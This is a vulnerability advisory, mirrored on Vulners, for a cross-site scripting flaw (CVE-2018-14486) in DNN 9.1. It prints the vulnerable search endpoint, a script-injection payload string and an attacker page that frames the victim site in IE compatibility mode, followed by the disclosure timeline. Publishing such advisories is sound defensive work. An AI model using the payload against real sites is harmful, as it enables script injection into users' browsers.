Vulners
Lucene search
DNN 9.1 XML Related Cross Site Scripting
🗓️ 23 Jan 2019 00:00:00Reported by Mustafa YalcinType 
packetstorm🔗 packetstormsecurity.com👁 50 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2018-14486 | 21 Mar 201919:26 | – | circl |
 | DNN Cross-Site Scripting Vulnerability | 25 Jan 201900:00 | – | cnvd |
 | CVE-2018-14486 | 17 Mar 201921:14 | – | cve |
 | CVE-2018-14486 | 17 Mar 201921:14 | – | cvelist |
 | EUVD-2022-4509 | 3 Oct 202520:07 | – | euvd |
 | DNN XSS Vulnerability | 14 May 202201:17 | – | github |
 | CVE-2018-14486 | 21 Mar 201916:00 | – | nvd |
 | GHSA-M6W9-8CXC-JFF7 DNN XSS Vulnerability | 14 May 202201:17 | – | osv |
 | Cross site scripting | 21 Mar 201916:00 | – | prion |
 | CVE-2018-14486 | 9 Jan 202612:22 | – | redhatcve |
10
`Cross-site Scripting via XML Vulnerability in DNN 9.1
Information
--------------------
Advisory by Netsparker
Name: Cross-site Scripting via XML Vulnerability in DNN 9.1
Affected Software: DNN
Affected Versions: 9.1
Homepage: http://dnnsoftware.com
Vulnerability: Cross-site Scripting via XML Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14486
CVSS Score (3.0): CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-048
Technical Details
--------------------
XSS via XML
Url: http://DNNWebsite/blog/API/internalservices/searchService/search?
Parameter Name: Query String
Parameter Type: Get
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>
Attacker`s Website:
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
</head>
<body>
<iframe src='http://www.victim.site/'></iframe>
</body>
</html>
Victim's DNN Website:
<messages>
<message>
TEst '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>
</message>
</messages>
Note: Attacker can execute payload on own Website with Iframe Element. Payload can be used only with Internet Explorer's with Compatible Mode Option.
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).
Advisory Timeline
--------------------
16th January 2018- First Contact
1st Febuary 2018 - Technical Details Sent
9th January 2019 - Last Attempt to Contact
23rd January 2019 - Advisory Released
Credits & Authors
--------------------
These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.
About Netsparker
--------------------
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Jan 2019 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.00479